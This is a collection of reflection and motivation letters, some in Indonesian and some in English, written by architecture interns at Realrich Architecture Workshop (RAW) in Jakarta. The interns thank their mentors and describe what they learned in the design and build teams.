Now I realize, architecture is more than just a building. Architecture can influence and shape human habits. Architecture is not like the others arts that you can choose to see or not to see but architecture can envelope all of us. Everyone sees and experiences it. Architecture is an art that everybody deserves to enjoy precisely because it constitutes the life of our inhabited places.

After visiting the website and seeing some RAW projects, I became interested in joining RAW internship program. I believe RAW Architecture is the best firm to be a part of my process to finding my true self in architecture and fulfilling my curiosity in exploring knowledge.  I hope that at RAW I can practice creativity, critical thinking that can open up my perspective more broadly on architecture, and learn more about how to make good and correct designs, as well as how to enjoy the design process.

It would be such as a great experience if I could have a chance to be a part of RAW Architecture.  I would love to explore more experience, work hard, and contribute for RAW Architecture in many aspects in the future.

I am very open if there are things you want to ask regarding this application. Thank you for your time and consideration.

Sincerely,

Khairina Alfin Nada

Reflection Letter:

haloo, kenalin aku satrio, mahasiswa semester 5 dari universitas sebelas maret, sebenernya aku bingung sih mau nulis apa, soalnya emang banyak banget pelajaran yang didapatkan selama 2 bulan magang disini. Saking banyaknya, sampe pernah kebawa mimpi ngerjain kerjaan RAW dan bangun dalam keadaan kaget.

Pertama-tama aku mau ngucapin banyak terimakasih kasih kepada ka rich dan ka yudith atas kesempatan magangnya di kantor se keren ini. Jujur kaget sih pas pertama kali di chat ka yudith udah bisa masuk pas seninnya. Pas dikabarin, perasaan antara seneng dan takut menjadi satu, seneng karena diterima, dan takut karena minimnya pengetahuan.

Dua minggu pertama magang disini, jujur aku agak kaget sama workflow RAW soalnya kaka-kaka nya sering banget lembur “ternyata mitos arsitek sering begadang benar guys” tapi mereka pada enjoy sih keliatannya. Ohiya, tiga minggu pertama aku ditempatin di divisi desain terus dimentorin sama ka riyan. Aku seneng banget karena disini aku jadi tau cara kak rich brainstorming desain melalui sebuah sketch. Sketchnya ka rich keren banget menurut aku.

Setelah itu, aku ditempatin di divisi build bersama bang putra khairus shidqi jamet jakbar is in the house. Disini aku banyak belajar tentang detailing dan koordinasi sama orang lapangan, seperti mang tata, pak santo, pak watno, dan lain-lain pokoknya banyak dah. Ohiya di divisi ini jg ada gambar aku yang terealisasikan alias terbangun, yaa walaupun cuman pintu besi. Mungkin segitu aja pengalaman magang aku selama dua bulan ini, sebenernya masih banyak sih. Kalo penasaran nanti hubungi aku aja.

Last but not least, aku mau ngucapin terimakasih buat semua orang yang ada disini. terimakasih buat ka rico yang asik banget bocahnya, terimakasih kepada ka audi dan ka tyo yang sudah menjamet bersama, terimakasih kepada teh ajlin yang sering banget jawab pertanyaan aku walaupun ga penting, ka putra dan ka riyan udah yang sabar banget ngajarin aku. Makasih juga buat temen-temen intern yang lain, qea, ippi, seva,kemal, doni, zikri, jessica, nada, uung, inggrid, rifa, dan heru. Special thanks to pandu yang udah ngajakin aku buat magang disini.

yaaa intinya banyak banget sih hal yang aku dapetin selama magang disini, semoga ilmu-ilmu yang telah diajarin bisa berguna buat aku dan orang lain.

Terimakasih RAW

salam hangat, satrio

Motivation Letter:

Kepada Yth

Pimpinan / Principal

Realrich Architecture Workshop

Melalui motivation letter ini, saya ingin mengungkapkan ketertarikan saya untuk mengikuti program Internship Bersama Realrich Architecture Workshop (RAW). Saya, Satrio aulia Firdaus, merupakan mahasiswa semester 5 program sarjana 1 (S1) arsitektur Universitas Negeri Sebelas Maret Surakarta. Menjadi arsitek merupakan cita-cita saya sejak kecil. Cita-cita tersebut lahir dari minat bakat saya dalam hal menggambar. Adapun tujuan saya mengikuti internship bersama RAW adalah saya ingin menambah pengalaman dan wawasan. Selama kurang lebih 2 tahun menjadi mahasiswa arsitektur, saya telah dibekali teori dan praktik dari dosen serta mengikuti beberapa sayembara. Akan tetapi, saya merasa kurang akan ilmu yang telah saya dapatkan. Untuk menambahkan ilmu yang telah saya dapatkan, praktik lapangan sangat diperlukan agar saya dapat melihat arsitektur dari segi praktisi.

Oleh sebab itu saya memberanikan diri untuk mendaftar sebagai peserta internship di RAW Sebelum memutuskan mendaftar pada program internship ini, saya sudah mengikuti beberapa sayembara dan alhamdulillah sudah beberapa kali masuk ke tahap penjurian final. Kerja keras dan pantang menyerah menjadi salah satu kekuatan saya. Ke depannya saya akan menerapkan ilmu dan pengalaman yang terlah saya dapat dan mengabdikannya kepada masyarakat. Selain mengikuti banyak sayembara, saya juga aktif dalam himpunan arsitektur. Saya gemar mengikuti berbagi seminar demi menambah pengetahuan dan pengalaman di bidang arsitektur. Saya percaya bahwa arsitektur dipengaruhi oleh tempat dimana kita bernaung.

Ibarat gelas kosong, selalu siap untuk dituangi ilmu apapun dan akan terus memandang lebih luas serta berkontribusi penuh terhadap kesempatan yang telah diberikan. Oleh sebab itu, sangat penting meningkatkan pengetahuan yang dimiliki dari berbagai sumber terpercaya.

Demikian motivation letter ini saya buat. Besar harapan bagi saya dapat bergabung dan berkontribusi dalam program intership ini. Atas perhatiannya, diucapkan terimakasih

Jabat Erat,

Satrio Aulia Firdaus

Reflection Letter:

I’m not good with words, but to say I’m grateful for my first internship at RAW Architecture is an understatement. Haloooo, semuanya! My name is Qealyn, and I’m currently in my fifth semester studying at UGM.

First and foremost, I want to give my deepest gratitude to Kak Realrich and Kak Yudith for providing me the opportunity to work at RAW Architecture. Also, thank you to everyone in this office family for welcoming me and making every day here so special. These past two months have been, just like the Coldplay lyrics, an adventure of a lifetime!

Even just listening to Kak Realrich talk about mundane office things taught me a lot. Every week, I look forward to attending the weekly Monday meetings, hearing lessons he evaluated from the past week and stories regarding ongoing projects. His philosophies about the beauty of architecture, ambition to achieve the best possible results, ways to communicate inside and outside the office, inspired me greatly to deepen my knowledge in architecture. I realized from Kak Realrich that in architecture, it is very important to build trust (from clients, working partners, and, of course, the office itself) than to just deliver wonderful works. Maintaining it would be difficult, but the end outcome would be long-term.

From the kakak-kakaks in both Design and Build, I learned that being in RAW Architecture is like going back to school. Every day, you learn something new (sudah kayak 10 sks setiap hari). From the beginning, I knew that with my liiiiiiiiitle experience in architecture, there would be tons of things that I have to catch up on. But oh my, on my first days here in the office, turns out I know waaaaaay less than I thought! It was a massive slap in the face; there is so much to learn in such a short period of time. At first, I was afraid I could not keep up with everything. Fortunately, everyone in RAW are all willing to help. They will gladly correct even my minor errors and answer the most simple and ridiculous questions with open arms and ears. I could never imagine that I could learn this many theoretical and practical knowledge from the coolest people in such a short time.

Terima kasih, terima kasih, terima kasih. To Kak Riyan as the PIC for the interns, Kak Mel, Kak Vyan, and Kak Angel who accompanied me in my first month here, it was memorable screaming songs at Benteng with you guys! To Kak Haykal, Kak Evan, Kak Alim, Teh Al, Kak Mei, thank you for guiding me throughout my second month “di atas”, and of course to everyone, the good conversations and laughter over snacks and meals will be treasured in my heart. To the kakak-kakak at Omah Library too for having me around and letting me in ehehe. Finally, to all of my fellow interns, Reva, Rio, Nada, Seva, Ippi, Jessica, Uung, Inggrid, Rifa, Heru, hope to see you again, see you guys on top!

Motivation Letter:

Dear HR of RAW Architecture, 

Allow me to introduce myself. My name is Qealyn Diamanta Adikusuma. I am currently

studying the field of architecture in Universitas Gadjah Mada, now in my fourth semester. I

have been exposed to RAW Architecture’s amazing works, and I intend to apply for an internship as I wanted to learn more about architectural problem-solving during this semester break. 

Even though my time studying architecture hasn’t been long, I knew from the start that a

part of me sparked every time there was a discussion about problem-solving in an architectural approach. The way that RAW has buildings focused on poetic design drives me more into my studies. Topics about combining modern natural materials, the beauty of tectonics, and the experience of space itself have fascinated me. Currently, my current goal is to increase my understanding in those fields and deepen a more thorough knowledge through internships. 

As an architecture student myself, I love to start projects by starting with the “Why” and the “How”, and ending with the “What” as a solution. Concept exploration that comes after analysis is something I am passionate about. This leads me into working in an organized and systematic manner, creating a designed framework. In working, I also love to contribute to group work and community projects, as I naturally like to step in for leadership roles.

I highly believe that by joining the internship program, I will be able to study more in-depth about how RAW design and solve problems. Moreover, I am confident that this internship is essential to help me develop as an architecture student, it will give me more insight into the architecture field. This is an opportunity I would not pass up on. 

Sincerely,

Qealyn Diamanta Adikusuma

Reflection Letter:

Nama saya Muhammad Kemal Haqqy lulusan 2021. Mendapatkan kesempatan untuk magang di RAW merupakan suatu langkah yang sangat penting dalam mengawali perjalanan arsitektur saya. Tanpa pengalaman apa2 di dunia arsitektur sebelumnya, saya masih merasa buta tentang berbagai praktik arsitektur di dunia nyata sebelum saya memulai magang di RAW. Namun meskipun hanya sekitar kurang dari 2,5 bulan, pelajaran arsitektural dan keterbangunan yang diajarkan di RAW begitu compact dan banyak untuk dipelajari. Terlebih gambar2 yang dibuat begitu memerhatikan hingga detail. Saya sangat berterima kasih kepada khususnya kak Rich, kak Yudith, dan kakak kakak yang telah mengajari saya berbagai hal baru serta seluruh tim RAW.

Reflection Letter:

Jessica Eleora / RAW Internship

I learned of the phrase “a sense of place” in the third year of my university days. I’ve been researching and learning about the term all these years, but during my stay at RAW Architecture, I’ve finally understood what it means. I applied as an intern in RAW Architecture not knowing what I was going into. During this 6 months of internship, I’ve obtained so much, not only in knowledge regarding architecture, but also enrichment in life views to grow as a person. I met a lot of people with different backgrounds and views who are  very kind hearted, smart, open minded, playful, strong headed but at the same time very warm. In life, I’ve always believed that every encounter with someone means something and there is never “nothing we can learn” from our experiences. I hope the best for everybody in RAW, and I hope we may be able to cross paths again one day. My time in RAW with all the amazing people in it is and will always be one of the most valuable experience in my life.

I give my special thanks to Mr.Realrich Sjarief and Mrs.Laurensia Yudith for giving me the opportunity as well as advices and welcome during my stay in RAW Architecture and Workshop. Thank you for all the lead architects who have been always caring and listening as well as looking after all of us, Ci Joanna, Kak Pandu, Kak Timbul, and kak Riyan. Thank you for the amazing mentors who have taught me so much skills and knowledge, Kak Fina, Kak Melisa, Kak Alim, Kak Haykal, Teh Adzlin, Kak Riko, Kak Audy, Kak Vyan, Kak Sofi, Kak Putra. Thank you for the people who’ve always been my support and helping me in various kinds of ways having become very dear friends to me, Tyo, Zikri, Gaby, Evan, Khafyd, Janice, Qealyn, Reva, Manuel, Devi, Nada, Seva & Ippi!

P.s. Thank you Bibi Yanti for always cooking for us and the blue team for always keeping the office clean!

Have a nice day!

Reflection Letter:

Hi, aku revania, mahasiswa desain interior semester 7 dari ISI Yogyakarta. 4 bulan  magang berlalu juga akhirnya ya. kalo 4 bulan ini jadi judul buku, mungkin judulnya, a serendipity: the coincidence of finding things that you didn’t intend to find before. karena sebelum memantapkan magang di RAW aku dihadapkan oleh dua pilihan. magang nyari sendiri atau magang bersama dosen. dan gatau kenapa kayak ada sebuah bisikan bahwa aku harus di jabodetabek untuk beberapa waktu lagi. jadi aku mantepin untuk nyari magang sendiri.

kata yang pas untuk menggambarkan hari pertama adalah: intimidating. setelah tau bahkan anak anak intern nya aja keren keren bgt, ada beberapa yg udh lulus juga, jadi semakin merasa terintimidasi.  tapi ternyata it does me favors bgt karena di awal awal i ended up menjadi beban anak anak intern karena nanya mulu. 

satu bulan lebih beberapa hari dikit, aku ngerjain bobotoh WKWKWKWK. di situ jujur ngerasa gaenak bgt karena selama itu ngerjainnya. tapi emang dari bobotoh banyak bgt ilmu shortcut, extension, yang didapetin. sampe ditanyain sama jessica, “rev lo ga bosen apa? kalo bosen di bobotoh bilang aja biar lo pindah” sebenernya jawabannya adalah gaenak sih. kayaknya kalo udh memulai ya harus diselesaikan gitu. walaupun akhirnya kak rian kayaknya capek nanyain progres bobotoh jadi aku dipindahin ke rumah christine. di rumah christine dapet project desain akhirnya. disitu aku banyak ngerepotin evan sama kak billy (vyan). sampe akhirnya ngerjain tugas gambar dan occasionally pindah tempat duduk yg diapit kak billy sm kak gaby biar intens belajar autocad. akhirnya hampir tiap menit aku ngerepotin kak billy, dan fix bgt pasti ada hari hari dimana kayak “reva pindahnya kapan sih” 

kalo ditanya apa yang didapet dari RAW, wah i owe this place, these people, a lot. dari yang gapernah pake laptop in daily basis jadi matanya berair pas udh beberapa jam jadi yg bisa tahan 7 jam ke atas, dari yg ngeliat gambar kerja di pc kak billy dan kak gaby rasanya pengen puyeng jadi bisa kayak “ohhh iya mau diapain niih”, dan dari yang ngerjain bobotoh satu bulan jadi ngerjain 3d model rumah citraland dalam sehari. these 4 months have been the most magical dan semoga unforgettable class that i signed up into. terima kasih terutama untuk kak rich dan kak yudith untuk kesempatan magangnya di the most aesthetic kantor in jakbar. terima kasih untuk kakak kakak conceptual, kak rian, kak mel, kak billy, kak haykal, evan, angel. terima kasih juga untuk kakak kakak yg kita pernah bersama walau sebentar bgt, kak tyo atas tangga monyet experiencenya, kak gaby atas spreadsheet lessonnya, kak fina atas tangga servisnya. terima kasih juga kepada teman teman magang; devi, reji, zikri, manuel, jessica, doni, kemal, seva, ipi, rio, qea, nada dan uung!!

balik ke awal, ternyata bangunan guha ini itu adalah jawaban dari dua pilihan kebingungan aku kemarin, magang sendiri atau magang sama dosen. mungkin kalo dijalanin dua duanya, sebenernya pilihannya gaada yg salah. karena yaa kayak bangunan ini, jawabannya bener bener: ada banyak jalan menuju suatu tujuan. dan kalo mau jujur, im really glad that i chose this path.

semoga setelah ini kita tetep bisa jalin silaturahmi ya. jangan sungkan sungkan randomly dm aku karena dm-ku kayak mcdonald’s: buka 24jam. jangan sungkan juga ngajak main, intinya kalo tida mager dan lagi fomo, pasti kita jalan. I can’t wait to be crossed-path with you guys in the very very bright future that we will be in!

Reflection Letter:

Bagi saya, 3 bulan berkesempatan menjadi bagian dari Realrich Architecture Workshop (RAW) seperti mengikuti sebuah loka karya, di mana saya dapat belajar tentang craftsmanship dan leadership pada arti yang lebih mendalam serta dilatih untuk berpikir secara kritis dan sistematis.

Berbekal pengetahuan yang biasa-biasa saja, saya disambut hangat oleh lingkungan yang suportif dan harmonis sehingga mejadikan proses adaptasi saya terasa lebih ringan. Saya belajar bahwa relasi antar personal yang mendalam —dapat saling mengenal satu sama yang lain dengan baik— menjadi akar dalam membangun tim yang solid dan kolaboratif. Saya menganggap mereka adalah mentor-mentor saya, tidak ada habisnya bagi saya untuk belajar sesuatu yang baru, baik secara teknis, non-teknis, verbal, dan nonverbal. Saya mempunyai tendensi untuk bersikap observatif, sehingga saya juga dapat belajar dengan mengamati gerak-gerik mereka seperti bagaimana cara bersikap, bagaimana cara memimpin, bagaimana cara berhubungan dengan pihak luar, bagaimana mereka memandang sebuah permasalahan, dan masih banyak hal yang tidak bisa saya sebutkan. Saya menyadari bahwa pendekatan dan cara kerja yang dilakukan oleh masing-masing dari mereka pun berbeda, menjadikan apa yang dapat saya pelajari menjadi komprehensif.

Suatu pencapaian bagi saya untuk dapat belajar kepada Kak Realrich Sjarief, salah satu arsitek inspiratif dan role model bagi saya. Saya belajar mengenai proses desain yang sistematis dan filosofis, tentang bagaimana beliau membuahkan sebuah narasi yang menaungi setiap artikulasi yang terkandung pada setiap desain. Sebuah intuisi yang dilandasi dengan argumentasi yang logis, menjadikan sebuah desin tidak hanya bersifat subjektif namun juga bersifat objektif. Ketelitian, kecepatan, dan kerapihan dalam bekerja menjadi nilai yang dijaga dan dituntut untuk konsisten.

Sungguh sebuah pengalaman 3 bulan yang terasa singkat namun terasa begitu dinamis, membuahkan perkembangan yang masif bagi saya. Besar harapan pengalaman ini menjadi bekal yang luar biasa bagi saya untuk melanjutkan perjalanan tiada henti saya di masa mendatang.

Life is a never-ending journey, stay in the incessant quest for the imagined things and keep being the best, RAW!

Salam Hormat,
Stefanus Wardhana

Reflection Letter:

Thank you RAW!

Ada di tempat ini merupakan suatu hal yang tidak pernah terbayangkan sebelumnya. Saat pertama kali ditawari oleh RAW untuk bergabung, jarak antara Manado – Jakarta seakan terasa dekat. Tanpa ragu saya langsung menerima tawaran untuk belajar di tempat ini. Mendapatkan kesempatan untuk belajar, bertumbuh, dan berproses di RAW merupakan salah satu pencapaian terbesar yang pernah saya raih
sampai saat ini. Untuk itu saya sangat bersyukur bisa mendapat ruang untuk saling berbagi pengetahuan dan pengalaman dengan orang-orang yang hebat.

Oleh karena itu, saya ingin mengucapkan banyak terima kasih kepada Kak Realrich, Kak Yudith dan Tim Realrich Architecture Workshop yang telah menerima dan memberikan kesempatan untuk belajar di sini. Banyak pelajaran berarsitektur dan pelajaran kehidupan yang bisa saya dapatkan di tempat ini yang kiranya dapat saya aplikasikan di dalam kehidupan berarsitektur di masa depan.

Ada di lingkungan ini menyadarkan saya betapa pentingnya Kerjasama tim, komunikasi, koordinasi, jujur, kerja keras dan semangat yang harus diingat dan diaplikasikan di dalam kehidupan. Belajar di tim Design dan Build merupakan suatu kesempatan emas yang saya dapatkan karena banyak hal yang tidak pernah saya pelajari selama kuliah namun saat saya bergabung dengan tim Build, saya bisa mendapatkan pelajaran-pelajaran baru yang dapat menjadi bekal saya kedepan untuk itu saya ingin mengucapkan banyak terima kasih kepada Ka Tyo yang telah
memberikan pelajaran dan pengalaman lapangan dan telah menjadi ketua geng anak magang dan menjadi senior paling bisa bergaul dengan anak-anak intern tidak lupa untuk ka Audy yang sangat baik yang telah berbagi pengetahuan tentang plumbing yang sebelumnya belum pernah saya ketahui. Dan tentunya terima kasih banyak kepada teman-teman yang ada di Build. Dan Makasi banyak untuk Ka Riyan yang telah membimbing dari awal masuk RAW hingga saat akan meninggalkan RAW dan telah menjadi orang yang menjembatani segala keperluan yang ada. Tidak lupa untuk tim design Ka Alvyan, Ka Melisa, Angel, Ka Haykal dan Evan yang telah menjadi tempat belajar paling lama selama di RAW. Dan Banyak terima kasih sekali lagi untuk my
bestfriend Evan yang selalu siap untuk berbagi pengalaman dan pengetahuan selama di RAW untuk itu sekali lagi banyak terima kasih Tim Design & Build.

Belajar di RAW membuka kesempatan dan semangat saya untuk terus mengejar cita-cita yang saya impikan, dan belajar di tempat ini membawa saya untuk semakin yakin untuk menjadi seorang Arsitek di masa depan dan menyadarkan saya betapa luasnya pengetahuan arsitektur. Belajar disini bukan hanya tentang Arsitektur tetapi tentang
Kehidupan yang harus mempunyai tujuan dan konsistensi, itulah yang saya dapat selama di RAW dengan harapan kiranya dapat saya aplikasikan di dalam kehidupan saya.

Tidak Lupa untuk berterima kasih kepada anak-anak magang yang paling top se meruya Reva, Zikri, Kemal, Doni, Qealin, Satrio, Nada, Reji, Manuel dan Ippi, Makasi Reva telah menjadi orang terasik, ter-bonding, ter-stylist dan paling bisa mengimbangi jokes saya dan paling baik selama di RAW, Makasi juga buat mas Zikri sebagai teman paling usil tapi baik, Kemal dan Doni yang menjadi teman magang yang sangat baik selama di RAW dan Qeaa walaupun hanya sebentar tapi kita bisa
membuat suatu vocal group terima kasih atas kebaikannya.

Pengalaman selama di RAW akan menjadi pengalaman yang tidak akan pernah saya lupakan, terutama kebaikan Ka Realrich dan Ka Yudith yang telah memberikan kesempatan dan membantu saya hingga bisa menyelesaikan Internship selama 2 bulan. Untuk itu saya banyak meminta maaf jika ada kesalahan yang telah di buat selama ada di RAW dan harapan terbesar saya kiranya masih ada kesempatan untuk bertemu dengan Ka Realrich, Ka Yudith dan Tim RAW lainnya di lain kesempatan.
Semoga RAW makin sukses dan tetap menjadi “Best office in the world.”

Tuhan Berkati

Andriano Gabriel Shevchenko Rumbajan

Reflection Letter:

Enjoy the Process – Renadi Mohammad Rediansyah

Selama magang saya banyak mengambil pelajaran arsitektur sampai kehidupan. Mulai dari percaya tidak ada yang tidak mungkin jika mau berusaha dan mencoba. Belajar dan bekerja langsung dengan seorang arsitek menjadi katalis dalam berpikir dan mendapatkan cara pandang yang lebih luas. Bekerja dengan Kakak-kakak yang menanamkan nilai ketepatan, ketelitian, dan kecepatan agar hasil maksimal. Dan yang tidak kalah penting adalah harus menikmati proses perjalanan yang sedang atau akan ditempuh.

Tahun 2018 mengunjungi The Guild atau Guha, Pameran Tugas Akhir Arsitek, saya meninggalkan jejak testimoni yang tertempel di dinding Guha sampai hari ini. Hadir di guha saya merasa kagum dan terbesit pemikiran, menarik jika suatu hari nanti dapat bekerja di RAW. Saat kuliah saya jatuh hati dengan arsitektur karya Louis Kahn. Bentuk lengkung dan lingkaran bukaan guha mengingatkan saya pada Kahn, seakan beliau meninggalkan jejak disini. Tahun 2022 saya mendapatkan kesempatan untuk bisa magang di RAW.

Bekerja dengan seorang arsitek, Kak Realrich Sjarief, sangat menginspirasi dan menyemangati saya dalam berarsitektur. Tiga bulan magang disini saya terhitung berpindah sebanyak tiga kali. Saya diperlihatkan ruang temporer, selalu berpindah, tidak ada yang tetap tetapi terus berkembang. Saat saya absen 2 minggu magang, guha sudah menambahkan mezanin pada ruang makan dan memulai pengerjaan jembatan dengan material kayu bekas.

Penambahan yang signifikan, Guha terus berkembang dan berubah, menurut saya ini adalah never ending project Kak Rich.

Saya melihat RAW sebagai payung hangat praktek arsitektur, tempat untuk belajar yang diisi oleh orang-orang yang profesional. Ketelitian, kecepatan, dan kerapihan dalam bekerja menjadi nilai yang dijaga dan dituntut untuk konsisten. Dibimbing Kak Rich dan dimentori oleh kakak-kakak yang asik, seru, penuh canda tawa dan juga memiliki keahlian dan ketelitian dalam bekerja. Terciptanya suasana bekerja yang mengandalkan nilai, kualitas, komunikasi, dan kerjasama tim untuk menghasilkan pekerjaan yang maksimal.

Tujuan magang saya jadikan untuk mendalami praktek dan melihat suasana kerja pada kantor arsitektur. Saya menjadikan magang ini sebagai proses pencarian perjalanan arsitektur. Banyak kejadian tidak terduga dan saya merasa beruntung dapat magang pada waktu yang tepat. Salah satunya ketika saya dapat bertemu dan berdiskusi dengan dua tokoh yang konsisten dalam bidangnya, Kak Rich dan Pak Sunaryo, pada hari yang sama. Cerita singkatnya saya bertanya kepada dua tokoh sumber energi dalam bekerja atau berkarya. Tidak disangka jawaban kedua tokoh ini sama. Jawabannya adalah menikmati. Menikmati momen, menikmati proses, menikmati rasa, fokus untuk berkarya.

Motivation Letter:

Perkenalkan saya Renadi M. Rediansyah, ingin mendaftarkan diri pada program magang di Realrich Architecture Workshop (RAW) untuk memperluas pengetahuan dan pengalaman dalam berarsitektur. Saya merespon lamaran ini berdasarkan Instagram. Sebagai lulusan S1 Arsitektur Universitas Tarumanagara, saya memiliki ketertarikan untuk menyelami praktek arsitektur. Saya melihat RAW memiliki praktek yang luas karena tidak hanya mencakup desain praktek arsitektur tetapi juga literasi arsitektur.

Selama 4 tahun kuliah, saya memiliki kesempatan untuk belajar merancang, memimpin bidang himpunan dan acara, dan magang di bidang manajemen konstruksi. Selain belajar, riwayat organisasi selama kuliah membawa saya untuk berkontribusi pada bidang sayembara dengan menyusun Terms of Reference (TOR) ruang kota ramah anak berupa rancangan Ruang Publik Terpadu Ramah Anak (RPTRA). Pada tahun berikutnya dilanjutkan dengan mengadakan sayembara nasional dengan tema hunian yang mengangkat isu harga tanah yang tinggi. Magang di manajemen konstruksi pada proyek bangunan tinggi mengajarkan saya untuk membaca gambar kerja dan melihat langsung kualitas hasil pekerjaan dan cara menyikapinya.

Hadirnya pandemi Covid-19 memaksa saya untuk tetap dirumah, mengisi waktu membaca literatur dan mulai ada ketertarikan untuk menulis. Waktu luang ini juga saya manfaatkan untuk merancang kafe dengan fokus memaksimalkan area pengunjung dan menerapkan sistem cross ventilation pada rancangan bangunan beserta visualisasinya. Masih banyak ruang yang bisa dikembangkan dari diri saya.

Magang di RAW dapat menjadi momentum memulai kembali petualangan saya dalam berarsitektur.Rekam jejak saya menunjukkan pengetahuan dan pengalaman selama kuliah dan masa pandemi. Saya memiliki ketelitian terhadap detil, dapat bekerja secara individu atau kolektif, dan mampu bekerja di berbagai macam lingkungan. Bekerjasama dengan banyak orang dari berbagai macam latar belakang bukan hal yang baru untuk saya. Modal ini akan saya maksimalkan untuk memperluas keterampilan di masa yang akan datang.

Potensi dan bakat harus diasah dan dikembangkan untuk menggapai mimpi dan cita-cita menjadi arsitek. Memiliki seorang mentor dapat mengkatalisasi potensi dalam belajar dan dibimbing dalam berpikir, bekerja, dan berkarya. Selain menjadi arsitek, minat untuk membaca dan menulis membawa saya bermimpi untuk menulis buku saya sendiri suatu hari nanti. Saya berharap RAW dapat menjadi tempat yang tepat untuk belajar dan memberikan pandangan praktek berarsitektur dalam berkarya tidak hanya dalam bentuk ide, gambar, dan fisik tetapi juga dalam bentuk literatur.

Saya ingin merasakan budaya desain praktek arsitektur secara empiris. Ingin memperluas pandangan dari desain dan arsitektur. Ingin melihat padu-padan antara konsep, detil desain, budget, dan eksekusi di lapangan. Untuk menjadi konsisten dalam berpikir, merancang, dan berkarya. Dalam arsitektur, saya juga tertarik dan ingin mendalami research by design untuk mencari relevansi.

Ada jarak antara dunia akademis dan praktisi yang perlu dikejar untuk menyeimbangkan ilmu dan praktek. Pengalaman dalam desain praktek adalah potongan yang hilang dan perlu saya lengkapi dalam petualangan berarsitektur. Ingin terus bekembang, belajar, dan mencari arti dari desain, arsitektur, dan desain arsitektur. Saya berharap dengan magang ini dapat memberikan pengetahuan dan pengalaman untuk meningkatkan keterampilan diri saya sendiri dan memberikan nilai dan kontribusi untuk RAW dalam berkarya.

Terlampir curriculum vitae (CV) dan portofolio sebagai bahan pertimbangan bapak/ibu untuk saya dapat magang di RAW. Jika ada pertanyaan, saran, atau masukan saya dapat dihubungi melalui WhatsApp +62 8131 8989 725 dan email rreji1202@gmail.com (email utama). Atas perhatian dan waktu bapak/ibu saya ucapkan terima kasih.

Salam Hormat,

Renadi M. Rediansyah

Reflection Letter:

Hello! My name is Manuel Hendru who is usually called El in RAW. I’m a 7th semester student at Multimedia Nusantara University, Tangerang who got the opportunity to be able to contribute to the work being done at RAW Architecture as an intern student for 6 months (which initially only planned for 4 months HAHA). Before deciding to do practical work in the office that I will apply for, there are many considerations as well as the expectations that I can get when I do my internship in that office. One of them is that I want experience in working and expanding relationships in the office. So, apart from the firm work being convincing, the work environment is also very influential and is a big consideration for me in choosing an internship place.

RAW Architecture has become one of the offices that I have known since I first entered college. Kak Rich himself once gave a seminar on my campus, which at that time I was very impressed with his presentation. The way the presentation was deep and fun made me enjoy learning about what Kak Rich was presenting at that time. Because of that, I’ve also started to recognize the building designs produced by RAW and I love them. What’s more, I also saw several posts from ig @guhatheguild which feature dynamic and exciting office life too. Long story short, I finally decided to apply to RAW Architecture as one of the agencies I wanted to learn more about architecture and open relationships because of these three factors.

When I first entered the studio, I was immediately greeted by Kak Rich and also the working staff through a brief self-introduction. In that short introduction, we joked a lot and laughed together. It was at that moment that I immediately thought that I was not mistaken in choosing RAW Architecture to be the office I was assigned for my internship for 4 months from 20 June – 22 October.

During those 4 months, I really learned and was happy to get to know many things that are far deeper than what I got at college. In fact, several times I was also often invited to go to the field and learn directly about building construction. However, 4 months was not enough time for me to learn many things in the built field. So, I finally decided to extend. My decision to extend was also not easy for me and it took me quite a while to think about it until I made a unanimous decision on d-1 the day before I ended my internship and contacted Kak Rich and the admin that I wanted to extend until December 23. To be honest, on that day, I was quite afraid that this decision would not be the best for me because I had to divide my time more between work and college. The course I was taking at that time was a research seminar that determined my Tugas Akhir. And yes, in the end I took a lot of time off to take care of my seminars in my extended days. But, even though I’m on leave, I still get a lot of knowledge in built that I really want and I don’t once regret the decision to extend it.

Of course, I would like to thank Kak Rich for giving me the opportunity to contribute a little as an intern student. I am very happy to know Kak Rich as a leader who is very humble and I really look up to him.

Big thanks to Kak Mei, Mas Alim, Kak Fina, and Sofi for “accepting” me in their team to help with some work on the built project that I’m working on hehe

Thank you also to Tyo who has become my 911 in RAW both in work and other life and open Tyo-Tour and Travel on Saturdays/Sundays to Bandung, cool.

To Ms. Riyan, who taught architectural concepts for the first time to me and other staff members or interns who have colored my monochrome life every day.

Until finally, I can say that doing an internship at RAW is a valuable experience that I can’t forget until I’m old. Because at RAW, I don’t only get knowledge of architecture and construction, but also laughter from all of you who have given meaning and added to my collection of precious moments in my life. For me, RAW is not only “The Best Office in The World” but also “The Best Home in The World” where we can feel the warmth of everyone in it.

Sending hugs and the best wishes for each of you MUAH xixi

Best Regrads,

Manuel Hendru

Motivation Letter:

Perkenalkan saya Manuel Hendru, seorang mahasiswa arsitektur semester 6 di Universitas Multimedia Nusantara (UMN), Tangerang. Saya memiliki ketertarikan yang mendalam terhadap proyek-proyek yang sudah ataupun sedang dikerjakan oleh Studio RAW Architecture, terutama pada desain arsitekturnya, pengolahan pengalaman ruang yang luar biasa, dan juga pemakaian jenis material lokal dan tektonik yang unik. Saya sendiri tertarik untuk mempelajari mengenai pengolahan material menjadi bentuk ruang yang memberikan pengalaman berbeda. Dengan ketertarikan mendasar tersebut, saya bermaksud untuk mengajukan permohonan kerja praktik di Studio RAW Architecture mulai dari bulan Juni 2022 selama lima sampai enam bulan.

Saya sangat menyukai semua hal tentang arsitektur dan desain. Sebagai mahasiswa arsitektur, saya mencoba untuk mengembangkan kegemaran tersebut dan menyelesaikan beberapa mata kuliah terkait, seperti Perancangan Arsitektur, Teknologi Bangunan, Fisika Bangunan, Bangunan Berkelanjutan, Utilitas Bangunan, Komunikasi Digital, Seni Rupa, dan masih banyak lagi mata kuliah yang membekali saya pengetahuan berguna untuk diterapkan di dunia nyata sehingga beberapa dari karya-karya saya tersebut mendapat penghargaan berupa perancangan terbaik. Saya juga sedang menjalani mata kuliah Interior yang mempelajari tentang perancangan ruang dalam pada rumah ataupun café. Saya sangat ingin untuk memperluas wawasan dan juga menerima tantangan baru berupa kesempatan menjadi arsitek kerja praktik pada perusahaan ini.

Bekerja menjadi anggota tim Studio RAW Architecture merupakan salah satu impian terbesar yang ingin saya capai sejak awal menduduki bangku kuliah. Oleh karena itu, saya sangat berharap untuk mendapat kesempatan dalam membantu proyek-proyek Studio RAW Architecture sebagai bagian dari tim serta memperluas koneksi sosial dan juga pengalaman saya sebagai bekal di kemudian hari. Saya dapat mempertimbangkan untuk bekerja secara daring ataupun luring saat ini. Atas perhatian Bapak/Ibu, saya ucapkan terima kasih.

